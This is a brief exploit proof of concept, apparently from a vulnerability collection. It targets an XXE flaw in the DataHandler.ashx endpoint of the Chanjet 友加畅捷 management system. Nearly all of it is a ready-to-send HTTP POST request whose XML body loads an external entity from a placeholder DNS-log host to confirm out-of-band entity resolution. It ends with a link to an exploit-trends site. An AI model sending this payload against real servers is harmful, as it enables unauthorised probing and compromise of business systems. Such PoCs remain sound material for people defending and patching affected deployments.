友加畅捷管理系统 DataHandler.ashx XXE漏洞

POST /Report/DataHandler.ashx?Type=SaveData HTTP/1.1
Host: 
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://dnslog/xxe_test">
%remote;]>
<root/>

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.